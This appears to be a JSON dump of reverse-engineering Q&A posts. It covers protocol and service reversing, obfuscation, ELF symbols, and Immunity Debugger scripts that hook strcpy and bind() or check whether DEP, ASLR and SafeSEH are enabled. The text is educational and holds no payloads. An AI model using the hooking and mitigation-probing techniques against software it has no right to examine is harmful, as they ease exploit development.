004071A7             |> \\90            NOP                                      ;  Default case of switch 004070B6\n004071A8             |.  90            NOP\n004071A9             |.  90            NOP\n004071AA             |.  E8 5D1F0400   CALL    RadASMWM.0044910C\n\n00449100 <STRING>                 .  57 4D 5F 4D 42 5>ASCII   \"WM_MB_CLICK\",0\n0044910C <WM_MB_CLICK_HANDLER>   /$  60               PUSHAD                                   ;  CALL FROM 4071AA\n0044910D                         |.  9C               PUSHFD\n0044910E                         |.  3D 07020000      CMP     EAX, 207                         ;  WM_MB\n00449113                         |.  75 13            JNZ     SHORT <RadASMWM.RETTOORIGHANDLER>\n00449115                         |.  6A 00            PUSH    0                                ; /Style = MB_OK|MB_APPLMODAL\n00449117                         |.  68 00914400      PUSH    <RadASMWM.STRING>                ; |Title = \"WM_MB_CLICK\"\n0044911C                         |.  68 00914400      PUSH    <RadASMWM.STRING>                ; |Text = \"WM_MB_CLICK\"\n00449121                         |.  6A 00            PUSH    0                                ; |hOwner = NULL\n00449123                         |.  E8 A2FBFFFF      CALL    <JMP.&user32.MessageBoxA>        ; \\MessageBoxA\n00449128 <RETTOORIGHANDLER>      |>  9D               POPFD\n00449129                         |.  61               POPAD\n0044912A                         |.  8B45 08          MOV     EAX, DWORD PTR SS:[EBP+8]        ;  RadASMWM.<ModuleEntryPoint>\n0044912D                         |.  E8 F7B8FBFF      CALL    <RadASMWM.ORIGINAL HANDLER>\n00449132                         \\.  C3               RETN\n
\n" }, { "Id": "2474", "CreationDate": "2013-07-14T22:31:51.387", "Body": "

I have a DVR that sends video over Ethernet using its own propriety TCP protocol. I want to write a VLC module to view the video, rather than the supplied DxClient.exe. I have captured traffic in wireshark and attempted to reverse engineer the client with IDA Pro, from what I can tell the client does some kind of handshake authentication, the DVR then sends 2 network packets (always 1514 bytes long), the client sends a TCP ACK and 2 more packets are transmitted, etc.etc... forever. From what I can tell the client uses Microsoft's AVIFIL32 library to decompress the packets to what essentially become AVI file frames.

\n\n

The problem is I don't understand how these frames are encoded or if they even are AVI frames. Can anyone help me, here is the data payload from 2 packets:

\n\n

http://pastebin.com/2VDu2Tc2

\n\n

http://pastebin.com/L3Zi3VqU

\n", "Title": "Reversing network protocol", "Tags": "|file-format|sniffing|wireshark|", "Answer": "

You can try Netzob tool. This is a tool dedicated to reverse engineering protocols.

\n\n\n\n

You can also take a look at CANAPE : http://www.contextis.com/research/tools/canape/

\n" }, { "Id": "2475", "CreationDate": "2013-07-14T22:55:17.453", "Body": "

I'm trying to reverse engineer a driver that consists of 2 components, a windows service and a control panel application. My goal of reverse engineering is to replace the control panel with my own program.

\n\n

Now as far as I can see I have a few possible approaches:

\n\n
    \n
  1. I try to reverse engineer the control panel, and discover the calls sent. But this panel consists of a lot of bloatware.
    2. \n
  2. I try to reverse engineer the service, and discover the input needed. But this service also handles other (unknown) functions.
    3. \n
  3. I try to catch the communication between the panel and the service.
    4. \n
\n\n

Now 3 would be the easiest approach, but I have no idea if this is technically possible. Then I tried option 2, but i can only statically analyze the exe, Since dynamic analysis causes it to crash prematurely. Option 1 seems to be the most logical one, and this was the first I tried, but I can't really find an interesting starting point.

\n\n

Is there anyone who can point me in the right direction. I have some reverse engineering experience from crackme's and applications, but this is my first attempt at reversing a driver.

\n", "Title": "Reverse engineering windows service", "Tags": "|windows|ida|ollydbg|", "Answer": "

If you goal is ultimately to control the service, it make more sense to reverse it versus reversing control panel. Who knows, you might find functionality you were not aware of. The key part of reversing windows service is to realize that it runs within the context of the Service Control Manager, and simply running the executable will not work. There are several major components of any windows service, that you need to be aware of. I have already given an answer to How does services.exe trigger the start of a service? question. It describes inner workings of a windows service.

\n\n

It is very much possible to reverse a Windows service both dynamically and statically as long as you understand underlining concepts. If you run your service in context of command prompt, it will fail. Every Windows service by design has to call to Service Control Manager, if that call fails it means the service is not executed within the SCM. It is expected to fail being executed outside of the SCM. If services expects input, you will have to figure out what it needs. Firstly, you will need to locate Service Worker Thread. Thereafter, locating part of the way it communicates to control panel should be easy.

\n" }, { "Id": "2479", "CreationDate": "2013-07-15T05:26:23.847", "Body": "

One of the things that makes Java bytecode (.class) so easy to reverse engineer is that the JVM's verifier ensures that bytecode can always be disassembled via linear sweep. Instructions have to be consecutive starting at offset 0, and you can't jump into the middle of an instruction.

\n\n

However this post implies that Dalvik does not do such bytecode verification. The authors do all the usual x86 shenanigans like jumping into the middle of an instruction, which is apparently allowed. Is this true? Do Android VMs actually perform any kind of loadtime bytecode verification? If not, why?

\n", "Title": "Android bytecode verifier", "Tags": "|disassembly|android|byte-code|", "Answer": "

this is not entirely true. Dalvik bytecode will also be verified on the device, but this happens during installation time, not runtime. A verified and optimized version of the dex file will be stored on the system, protected by file system permission (you cannot change it afterwards unless you have rooted your device).

\n\n

The trick that was used in the blog post is that you can set a specific flag within the class header which tells the verifier to skip this class.

\n" }, { "Id": "2486", "CreationDate": "2013-07-15T22:50:55.317", "Body": "

I have been looking for the equivalent of the \"Run Trace\" option of OllyDbg in IDA Pro. Can anyone mention if there is one and how to use it ?

\n", "Title": "Is there an equivalent of 'Run trace' as in OllyDbg for IDA PRO?", "Tags": "|ida|ollydbg|ida-plugin|", "Answer": "

IDA Pro offers two tracing options:

\n\n
    \n
  1. Instruction tracing Debugger->Tracing->Instruction Tracing It is very slow tracing process, since IDA monitors registers and has to record the address, the instruction, and changes values of registers, that were changed by the instruction.
    2. \n
  2. Function tracing Debugger->Tracing->Function Tracing. It is a subcategory of instruction tracing, where only function calls are logged.
    3. \n
\n\n

There are also three types of tracing events: execution traces, write traces, and read/write traces.

\n\n

A trace in IDA Pro could by replayed by using Trace replayer. It is located within Debuggers submenu. You could switch to Trace-replayer by going to Debugger->Switch Debugger...->Trace replayer

\n\n

\"enter

\n\n

One thing to remember that you have to have trace created before you can replay it. In order to create a trace you will need to do the following:

\n\n
    \n
  1. Set a breakpoint at the point where you want you trace started.
    2. \n
  2. Run the program with the debugger of your choice.
    3. \n
  3. Whenever it breaks, select desired tracing style (Instruction or Function)
    4. \n
  4. Run as far as necessary. You could set a second breakpoint to stop the trace.
    5. \n
  5. You can optionally save the trace.
    6. \n
  6. Replay the trace by switching debugger to Trace replayer.
    7. \n
\n" }, { "Id": "2489", "CreationDate": "2013-07-16T11:50:18.653", "Body": "

I don't know the exact name of this obfuscation, so I call it variable entanglement for now.

\n\n

I already saw this principle in a few binaries but I never found a complete description of what was possible and what was not.

\n\n

The idea is to confuse the reverser by mixing two values together and performing the operations on the mixed values. Once all operations have been performed, one can recompose the results by some simple operations. For example, a naive example could be:

\n\n
int foo (int a, int b) {\n  long long x = 0;\n  // Initial entanglement\n  x = (a << 32) | b;\n\n  // Performing operations on both variables\n  x += (12 << 32) & 72;\n  ...\n\n  // Final desentanglement\n  a = (int) (x >> 32);\n  b = (int) (((int) -1) & x);\n} \n
\n\n

Of course, here, we mix everything in one variable (and I did not take care of details such as the overflows). But, you can imagine way more complex initial entanglement where you re-split everything in two variables (or more), e.g. by xoring them together.

\n\n

Operations such as addition, multiplication, ... have to be redefined for this new format, so it can mislead the reverser.

\n\n

My question now, does anyone know about different such schema of variable entanglement (the one I gave is really basic) ? And, maybe, can give pointers or publication about it ?

\n", "Title": "Where and how is variable entanglement obfuscation used?", "Tags": "|obfuscation|whitebox-crypto|", "Answer": "

I'm not sure whether this is along the lines you're looking for (and quite possibly you've already figured out all of this and more), but here's a crude formalization and then some implementation thoughts. Conceptually, this tries to separate what it means to entangle several values from how entangled values are represented.

\n\n

Formalization

\n\n

Conceptually, entangled values can be thought of as aggregates where the different components retain their values, don't interfere with each other, and can be independently extracted. A convenient way to think of such aggregates is as n-tuples of values; for simplicity I assume n = 2 here. Also, I assume that we have operations to construct tuples from a collection of values, and to extract the component values from a tuple.

\n\n

We now need to be able to carry out operations on tuples.\nFor this, for each operation op in the original program we now have 2 versions: op1, which operates on the first component of a 2-tuple, and op2, which operates on the second component:

\n\n
\n<a1,b1> op1 <a2,b2> = if (b1 == b2) then <(a1 op a2), b1> else undefined
\n<a1,b1> op2 <a2,b2> = if (a1 == a2) then <a1, (b1 op b2)> else undefined
\n
\n\n

Finally (and this is where the obfuscation comes in), we need a way to encode tuples as values and decode values into tuples. If the set of values is S, then we need two functions enc and dec that must be inverses of each other:

\n\n
\nenc: S x S --> S (encode pairs of values as a single entangled value)
\ndec: S --> S x S (decode an entangled value into its components)
\n

\nenc(dec(x)) = x for all x
\ndec(enc(x)) = x for all x\n

\n\n

Examples:

\n\n\n\n

Implementation considerations

\n\n

From an implementation perspective, we'd like to be able to perform operations directly on encoded representations of values. For this, corresponding to each of the operations op1 and op2 above, we need to define \"encoded\" versions op1* and op2* that must satisfy the following soundness criterion:

\n\n
\n

for all x1, x2, and y: x1 op1* x2 = y IFF enc( dec(x1) op1 dec(x2) ) = y

\n
\n\n

and similarly for op2*.

\n\n

A lot of details are omitted (mostly easy enough to work out), and this basic approach could be prettified in various ways, but I don't know whether this is along the lines you were asking for and also whether maybe this is pretty straightforward and you've already worked it all out for yourself. Anyway, I hope this is useful.

\n\n
\n\n

From @perror's comment (below) it seems clear that the formalization above is not powerful enough to capture the obfuscation he has in mind (though it might be possible to get a little mileage from generalizing the encoding/decoding functions enc and dec).

\n\n

I had forgotten about this paper, which discusses a transformation that seems relevant (see Sec. 6.1, \"Split variables\"):

\n\n
\n

Christian Collberg, Clark Thomborson, and Douglas Low. Breaking Abstractions and Unstructuring Data Structures. IEEE International Conference on Computer Languages (ICCL'98), May 1998. (link)

\n
\n" }, { "Id": "2493", "CreationDate": "2013-07-17T04:51:41.077", "Body": "

I have a DLL with a large number of functions in IDA Pro. I would like to make a script that can scan the instructions within each of the functions looking for a specific instruction. For my specific case right now, I am looking for functions that shift left (shl). I am not sure which register is being shifted so I would like to keep it versatile. I do know that it is only shifting one place in this specific case.

\n\n

I know python on a very basic level, and I know IDA-Python on a non-existent level. Please help me with suggestions on how to access this data inside IDA.

\n\n

Edit:
\nI have read through this question and it says that there is no direct access to the list of functions that have been discovered by IDA. You have to specify a starting function address. Is there any better way to list functions?

\n", "Title": "IDA Pro List of Functions with Instruction", "Tags": "|ida|idapython|", "Answer": "

While in the Text View of the disassembly window, press Alt + T. In the Text Search window, search for shl and check Find all occurrences:

\n\n

\"Text

\n\n

Press OK and you will get a list of all functions that contain shl:

\n\n

\"Occurrences

\n" }, { "Id": "2502", "CreationDate": "2013-07-20T03:23:53.260", "Body": "

I am a newbie in python programming for Debugging . I wrote a code for using the function FastLogHook() in immlib but i am not able to figure out the exact problem with my code as it is not working :(

\n\n

Here is My code

\n\n
#!/usr/bin/env python\n\nimport immlib\nfrom immlib import FastLogHook\n\nDESC = \"FastLogHook Basic Demo\"\n\ndef showresult(imm, a,addr):\nif a[0]==addr:\n    imm.Log(\"(0x%08x >> 0x%08x , 0x%08x)%(a[1][0], a[1][1], a[1][2]) \")\n    return \"done\"\n\ndef main(args):\nimm = immlib.Debugger()\nName = 'fasty'\nfast = imm.getKnowledge( Name )\n\nfunctionToHook = \"msvcrt.strcpy\"\nfunctionAddress = imm.getAddress(functionToHook)\nimm.log(str(functionAddress) + 'pf')\nif fast:\n    hook_list = fast.getAllLog()\n    imm.log(str(hook_list))\n    for a in hook_list:\n        ret = showresult( imm, a, functionAddress )\n    return\"Logged: %d hook hits.\" % len(hook_list)\nimm.pause()\nfast = FastLogHook(imm)\nfast.logFunction(functionAddress)\nfast.logBaseDisplacement('ESP', 0x4)\nfast.logBaseDisplacement('ESP', 0x8)\nfast.logRegister(\"ESP\")\nfast.Hook()\nimm.addKnowledge(Name, fast, force_add = 1)\n\nreturn \"Success!!\"\n
\n\n

I am running this code in Immunity Debugger but continuously getting error . I searched , googled but due to the limitation of documentation regarding this I am unable to correct it .

\n", "Title": "Use of FastLogHook function in immlib?", "Tags": "|python|immunity-debugger|", "Answer": "

I also just started to learn more about this topic and managed to write down the following lines of code.

\n\n

I guess all my comments in the code are good enough as answer. I dont know much more then that anyway.

\n\n
  ' #!/usr/bin/env python\n\n  import immlib\n  import struct\n  from immlib import STDCALLFastLogHook\n\n  DESC=\"FastLoogHook\"\n\n  def main(args):\n\n        \"\"\"\n                Will hook and run its own assembly code then return to the process\n                Usage: First run the script to install hook, then run it again to get results ^^\n        \"\"\"\n\n        imm = immlib.Debugger()\n        Name = \"hippie\"\n\n\n        # Get stored data on second script run\n        fast = imm.getKnowledge(Name)\n\n        if fast:\n\n                # Get a list of all the things we saved\n                hook_list = fast.getAllLog()\n\n                # Log result\n                imm.log(str(hook_list))\n\n                # unpack list\n                (func_addr, (esp1, esp2)) = hook_list[0]\n\n                # Log argument\n                imm.log(imm.readString(esp2))\n\n                return \"Parsing results done\"\n\n        # Find strcpy address   \n        strcpy = imm.getAddress(\"msvcrt.strcpy\")\n\n        # Building the hook\n        fast = immlib.FastLogHook(imm)\n\n        # This function is required and returns \n        # the address of the original instruction\n        fast.logFunction(strcpy)\n\n        # Offset\n        fast.logBaseDisplacement(\"ESP\", 4)\n        fast.logBaseDisplacement(\"ESP\", 8)\n\n        # Set hook\n        fast.Hook()\n\n        # Save data for later use\n        imm.addKnowledge(Name, fast, force_add = 1)\n\n        return \"FastLogHook installed for strcpy\"'\n
\n" }, { "Id": "2505", "CreationDate": "2013-07-20T14:30:52.657", "Body": "

So I understand that there are many assemblers such as MASM, FASM, NASM, etc.

\n\n

But which version is the disassembler in OllyDbg and Cheat Engine?

\n", "Title": "Which version of assembly does OllyDbg disassemble binary to?", "Tags": "|disassembly|assembly|disassemblers|", "Answer": "

ollydbg 2.0 supports AT&T syntax also

\n\n
CPU Disasm\nAddress   Command                                  Comments\n01002C0C  CMPL    %ESI, %DS:notepad.fUntitled      ; Case 3 of switch notepad.1002BBE\n01002C12  MOVL    %DS:notepad.g_ftOpenedAs, %EAX\n01002C17  MOVL    %EAX, %DS:notepad.g_ftSaveAs\n01002C1C  JNE     $notepad.01002C37\n01002C1E  PUSHL   %ESI                             ; /Arg3 = 0B1F01\n01002C1F  PUSHL   $OFFSET notepad.szFileName       ; |Arg2 = notepad.szFileName\n01002C24  PUSHL   %DS:notepad.hwndNP               ; |Arg1 = 0\n01002C2A  CALL    $notepad.SaveFile                ; \\notepad.SaveFile\n
\n" }, { "Id": "2507", "CreationDate": "2013-07-20T17:54:16.717", "Body": "

How do I get IP address and port number out of bind function in Server application. Can it be achieved with hooks like bphook in immunity debugger?

\n\n

My problem is that I don't know how to unpack struct psockaddr/sockaddr or how sockaddr is saved on the stack.

\n", "Title": "Server-side bind() function, immlib", "Tags": "|python|immunity-debugger|", "Answer": "

I will assume you are talking about Windows Sockets and IPv4, since you have not mentioned otherwise. sockaddr is very well described in MSDN. It is defined as for IPv4 as follows:

\n\n
struct sockaddr {\n        ushort  sa_family;\n        char    sa_data[14];\n};\n\nstruct sockaddr_in {\n        short   sin_family;\n        u_short sin_port;\n        struct  in_addr sin_addr;\n        char    sin_zero[8];\n};\n
\n\n

I will use simple server application for demonstration purposes. Firstly let's set breakpoint on bind() and see what stack looks like:

\n\n

\"enter

\n\n

As you can see, pSockAddr is a pointer to sockaddr structure is pushed on to stack as a second argument to the function. Let's go a little further and examine the sockaddr at 0x0031F840:

\n\n

\"enter

\n\n

One very important thing to note is that sin_port and sin_addr are stored using big-endian byte order, meaning the most significant part stored first.

\n\n

Now let's jump in and get pyCommand created in order to automate it with Immunity Debugger. For this purpose I will use BpHook:

\n\n
# bindtrace PyCommand by PSS \n\nfrom immlib import *\n\nNAME = \"bindtrace\"\n\nclass BindBpHook(BpHook):\n    def __init__(self):\n        BpHook.__init__(self)\n\n    def run(self, regs):\n        imm = Debugger()\n\n        imm.log(\" \")\n        imm.log(\"Bind() called:\")\n\n        # Read sockaddr structure address\n        sockaddr = imm.readLong(regs[\"ESP\"] + 8)        \n\n        # Read 2 bytes of sin_family member\n        sockaddr_sin_family = imm.readShort(sockaddr)\n\n        # Read 2 bytes of sin_port and calculate port number \n        # since it is stored as big-endian\n        portHiByte = ord(imm.readMemory(sockaddr + 2, 1))\n        portLowByte = ord(imm.readMemory(sockaddr + 3, 1))\n        sockaddr_sin_port = portHiByte * 256 + portLowByte\n\n        # Read 4 bytes of sin_addr since it is stored as big-endian\n        ipFirstByte = ord(imm.readMemory(sockaddr + 4, 1))\n        ipSecondByte = ord(imm.readMemory(sockaddr + 5, 1))\n        ipThirdByte = ord(imm.readMemory(sockaddr + 6, 1))\n        ipForthByte = ord(imm.readMemory(sockaddr + 7, 1))\n\n        # Print results to Log View window\n        imm.log(\"---> Pointer to sockaddr structure: 0x%08x\" % sockaddr)\n        imm.log(\"---> sockaddr.sin_family: %d\" % sockaddr_sin_family)\n        imm.log(\"---> sockaddr.sin_port: %d\" % sockaddr_sin_port)\n        imm.log(\"---> sockaddr.sin_addr: %d.%d.%d.%d\" % \\\n                        (ipFirstByte,ipSecondByte,ipThirdByte,ipForthByte))\n        imm.log(\" \")\n        imm.log(\"Press F9 to resume\")\n\n\ndef main(args):\n\n    imm = Debugger()\n    functionToHook = \"ws2_32.bind\"\n\n    # Find address of the function to hook\n    functionAddress = imm.getAddress(functionToHook)\n\n    # Create and install our hook\n    myHook = BindBpHook()\n    myHook.add(functionToHook, functionAddress)\n\n    imm.log(\"Hook for %s installed at: 0x%08x\" % (functionToHook, functionAddress))\n\n    return \"[*] Hook installed.\"\n
\n\n

Installation of the script is very simple. All pyCommands are stored in ./pyCommands folder of Immunity Debugger installation. I named my file bindtrace.py.

\n\n

Thereafter, we load our executable into Immunity Debugger. Debugger will break automatically at entry point. Right after that we invoke the above pyCommand by typing !bindtrace, and run the executable by pressing F9. As soon as breakpoint hits, we get the result in Log windows, which can be accessed through Alt + L:

\n\n

\"enter

\n" }, { "Id": "2510", "CreationDate": "2013-07-20T23:31:00.197", "Body": "

How to check if DEP, ASLR and SafeSEH defense mechanism are enabled or not in a program using immlib library of Python in Immunity Debugger ?

\n\n

Actually I am looking for small code snippet for each.

\n", "Title": "Check DEP , ASLR and SafeSEH enabled or not , immlib", "Tags": "|debuggers|python|immunity-debugger|seh|", "Answer": "

To add to @jvoisin's answer, you can have a look at checksec - python implementation of checksec.sh

\n\n

Both these scripts are simple (compared to mona.py) and should help you get started.

\n" }, { "Id": "2513", "CreationDate": "2013-07-22T00:48:28.517", "Body": "

Once I perform static analysis on a malware sample, I next run it in a virtual machine.

\n\n\n\n

I use VMwareW.

\n", "Title": "Malware in virtual machines", "Tags": "|malware|virtual-machines|", "Answer": "

There were a lot of saying in replays, but I'd like to stress on some answers from the practical point of view:

\n\n\n\n

Hope this will help :)

\n" }, { "Id": "2521", "CreationDate": "2013-07-22T21:20:59.370", "Body": "

I compiled some [relatively complex] Java code into a .class file, then used jad to decompile it back into java. Of course, the code was obfuscated, which was to be expected. However, given that I had the original code, I thought I'd be able to look through the decompiled code fairly easily. However, I noticed differences in the code, such as where certain variables were defined (including differences of scope).

\n

Is there any main reason for this? I imagine it's one of those things that just happen in decompilation of code, but I'm more curious about what factors cause the change (e.g. complexity of code, whether it refers to other files, etc.).

\n

Could someone provide me with a good explanation on what factors cause the differences in the code before and after?

\n

Edit

\n

Technically, the .class file is pulled from a jar. I extracted the contents and used the .class file in there.

\n

As far as which obfuscator I used, I used the Retroguard obfuscator with the following options (I'm currently just exploring obfuscation and finding out what each thing does to the final result):

\n
.option Application\n.option Applet\n.option Repackage\n.option Annotations\n.option MapClassString\n.attribute LineNumberTable\n.attribute EnclosingMethod\n.attribute Deprecated\n
\n

Documentation for the script can be found on their site. It's a little unorganized, but you should be able to find adequate explanations in there. It's also noteworthy that I stripped the generics and the local variable table.

\n

I have now also set up a way (inspired by the creators of the Minecraft Coder Pack) to rename the sources using data from a file (or files), which is passed to a dictionary of lists for packages, classes, methods, and fields.

\n
# snippet from the MCP version (mine's slightly different) (all in Python):\nsrg_types = {'PK:': ['obf_name', 'deobf_name'],\n            'CL:': ['obf_name', 'deobf_name'],\n            'FD:': ['obf_name', 'deobf_name'],\n            'MD:': ['obf_name', 'obf_desc', 'deobf_name', 'deobf_desc']}\nparsed_dict = {'PK': [],\n               'CL': [],\n               'FD': [],\n               'MD': []}\n
\n

A line is then parsed from the file, and it is passed into the parsed_dict and then used to rename everything (back and forth). Implemented after compiling than decompiling the first time (after I noticd differences).

\n", "Title": "Why are there (sometimes major) differences between java source code and its decompiled result?", "Tags": "|decompilation|java|", "Answer": "

Your choice of decompiler can greatly affect the outcome. You should try either JODE, or Fernflower (which I believe goes by Androchef).

\n\n

Before decompiling, it might be a good idea to do some simple deobfuscation yourself. For example, you could try

\n\n\n" }, { "Id": "2529", "CreationDate": "2013-07-23T14:13:21.980", "Body": "

Does any of you know of a recent tool to bindiff using ImmunityDebugger?\nI know about BinDiff by Zynamics and PatchDiff for IDA. But I really want a tool like this in ImmDBG. I also know about Radare's bindiffer and the feature in mona.py (but this is more with memory regions).

\n\n

Now I use a HexEditor and diff using this. Then I'll lookup the offset + base address using Immunity. This is not really feasible any more as I've recently started reversing bigger patches.

\n\n

(Just to be a complete reference, for Firmware Updates I use Binwalk. And you should too :))

\n", "Title": "Reversing Patches (Binary Diffing)", "Tags": "|immunity-debugger|patch-reversing|bin-diffing|", "Answer": "

The answer lays within the comments, read Binary Diffing by Nicolas A. Economou (CoreImpact) 2009 to see why.

\n\n

Good Binary Diffing is in fact a way harder subject that does a lot more than compare bytes or bits.

\n\n

Making a Binary Diff with objdump and meld is really not the way to go. Read the CoreImpact document and it will show some of the issues with binary diffing.

\n" }, { "Id": "2538", "CreationDate": "2013-07-26T16:39:41.280", "Body": "

I am looking at a windows library in IDA pro and I came across a function call 

BindW(ushort **, void **)

\n\n

IDA pro adds the comments Binding and StringBinding respectively to the parameters when they are pushed.

\n\n

What is this function?

\n", "Title": "What is *BindW*?", "Tags": "|windows|", "Answer": "

It's an undocumented non-exported function. Hex-Rays output is:

\n\n
RPC_STATUS __stdcall BindW(RPC_WSTR *StringBinding, RPC_BINDING_HANDLE *Binding)\n{\n  RPC_STATUS result; // eax@1\n\n  result = RpcStringBindingComposeW(0, L\"ncalrpc\", 0, L\"protected_storage\", 0, StringBinding);\n  if ( !result )\n    result = RpcBindingFromStringBindingW(*StringBinding, Binding);\n  return result;\n}\n
\n" }, { "Id": "2539", "CreationDate": "2013-07-26T17:24:18.553", "Body": "

I am currently looking at the ELF format, and especially at stripped ELF executable program files.

\n\n

I know that, when stripped, the symbol table is removed, but some information are always needed to link against dynamic libraries. So, I guess that there are other symbols that are kept whatever the executable has been stripped or not.

\n\n

For example, the dynamic symbol table seems to be always kept (actually this is part of my question). It contains all the names of functions coming from dynamic libraries that are used in the program.

\n\n

Indeed, taking a stripped binary and looking at the output of readelf on it will give you the following output:

\n\n
Symbol table '.dynsym' contains 5 entries:\n Num:    Value          Size Type    Bind   Vis      Ndx Name\n 0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND \n 1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)\n 2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)\n 3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__\n 4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.2.5 (2)\n
\n\n

My question is, what are all the symbol tables that the system always need to keep inside the executable file, even after a strip (and what are they used for) ?

\n\n

Another part of my question, would also be about how to use these dynamic symbols. Because, they are all pointing to zero and not to a valid address. You do we identify, as objdump does, their respective links to the code stored in the PLT. For example, in the following dump I got from objdump -D, we can see that the section .plt is split, I assume that this is thanks to symbols, into subsections corresponding to each dynamic function, I would like to know if this is coming from another symbol table that I do not know or if objdump rebuild this information (and, then, I would like to know how):

\n\n
Disassembly of section .plt:\n\n0000000000400400 <puts@plt-0x10>:\n400400:       ff 35 6a 05 20 00       pushq  0x20056a(%rip)\n400406:       ff 25 6c 05 20 00       jmpq   *0x20056c(%rip)\n40040c:       0f 1f 40 00             nopl   0x0(%rax)\n\n0000000000400410 <puts@plt>:\n400410:       ff 25 6a 05 20 00       jmpq   *0x20056a(%rip)\n400416:       68 00 00 00 00          pushq  $0x0\n40041b:       e9 e0 ff ff ff          jmpq   400400 <puts@plt-0x10>\n\n0000000000400420 <__libc_start_main@plt>:\n400420:       ff 25 62 05 20 00       jmpq   *0x200562(%rip)\n400426:       68 01 00 00 00          pushq  $0x1\n40042b:       e9 d0 ff ff ff          jmpq   400400 <puts@plt-0x10>\n\n0000000000400430 <__gmon_start__@plt>:\n400430:       ff 25 5a 05 20 00       jmpq   *0x20055a(%rip)\n400436:       68 02 00 00 00          pushq  $0x2\n40043b:       e9 c0 ff ff ff          jmpq   400400 <puts@plt-0x10>\n\n0000000000400440 <perror@plt>:\n400440:       ff 25 52 05 20 00       jmpq   *0x200552(%rip)\n400446:       68 03 00 00 00          pushq  $0x3\n40044b:       e9 b0 ff ff ff          jmpq   400400 <puts@plt-0x10>\n
\n\n

Edit: Thanks to Igor's comment, I found the different offsets allowing to rebuild the information in .rela.plt (but, what is .rela.dyn used for ?).

\n\n
Relocation section '.rela.dyn' at offset 0x368 contains 1 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000600960  000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0\n\nRelocation section '.rela.plt' at offset 0x380 contains 4 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000600980  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0\n000000600988  000200000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main + 0\n000000600990  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0\n000000600998  000400000007 R_X86_64_JUMP_SLO 0000000000000000 perror + 0\n
\n", "Title": "What symbol tables stay after a strip In ELF format?", "Tags": "|elf|dynamic-linking|", "Answer": "

To answer to this question, we have first to rephrase it a bit. The real question can be stated like this:

\n\n
\n

What are the symbols that cannot be removed from an ELF binary file ?

\n
\n\n

Indeed, strip removes quite a bit of information from the ELF file, but it could do a bit more (see the option --strip-unneeded from strip or the program sstrip for more about this). So, my original question was more about what symbols can be assumed to be in the executable file whatever modifications have been made on the ELF file.

\n\n

In fact, there is only one type of symbols that you need to keep whatever happen, we call it dynamic symbols (as opposed at static symbols). They are a bit different from the static ones because we never know in advance where they will be pointing to in memory. Indeed, as they are supposed to point to external binary objects (libraries, plugin), the binary blob is dynamically loaded in memory while the process is running and we cannot predict at what address it will be located.

\n\n

If the static symbols are stored in the .symbtab section, the dynamic ones have their own section called .dynsym. They are kept separate to ease the operation of relocation (the operation that will give a precise address to each dynamic symbol). The relocation operation also relies on two extra tables which are namely:

\n\n\n\n

Somehow, put all together, .dynsym, .rela.dyn and .rela.plt will allow to patch the initial memory (i.e. as mapped in the ELF binary), in order for the dynamic symbols to point to the right object (data or procedure).

\n\n

Just to illustrate a bit more the process of relocation of dynamic symbols, I built examples in i386 and amd64 architectures.

\n\n

i386

\n\n
Symbol table '.dynsym' contains 6 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.0 (2)\n     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)\n     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__\n     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)\n     5: 080484fc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used\n\n\nRelocation section '.rel.dyn' at offset 0x28c contains 1 entries:\n Offset     Info    Type            Sym.Value  Sym. Name\n08049714  00000306 R_386_GLOB_DAT    00000000   __gmon_start__\n\nRelocation section '.rel.plt' at offset 0x294 contains 4 entries:\n Offset     Info    Type            Sym.Value  Sym. Name\n08049724  00000107 R_386_JUMP_SLOT   00000000   perror\n08049728  00000207 R_386_JUMP_SLOT   00000000   puts\n0804972c  00000307 R_386_JUMP_SLOT   00000000   __gmon_start__\n08049730  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main\n
\n\n

amd64

\n\n
Symbol table '.dynsym' contains 5 entries:\n   Num:    Value          Size Type    Bind   Vis      Ndx Name\n     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)\n     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)\n     3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__\n     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.2.5 (2)\n\n\n\nRelocation section '.rela.dyn' at offset 0x368 contains 1 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000600960  000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0\n\nRelocation section '.rela.plt' at offset 0x380 contains 4 entries:\n  Offset          Info           Type           Sym. Value    Sym. Name + Addend\n000000600980  000100000007 R_X86_64_JUMP_SLOT 0000000000000000 puts + 0\n000000600988  000200000007 R_X86_64_JUMP_SLOT 0000000000000000 __libc_start_main + 0\n000000600990  000300000007 R_X86_64_JUMP_SLOT 0000000000000000 __gmon_start__ + 0\n000000600998  000400000007 R_X86_64_JUMP_SLOT 0000000000000000 perror + 0\n
\n\n

A few interesting web pages and articles about dynamic linking:

\n\n\n" }, { "Id": "2548", "CreationDate": "2013-07-28T00:05:01.357", "Body": "

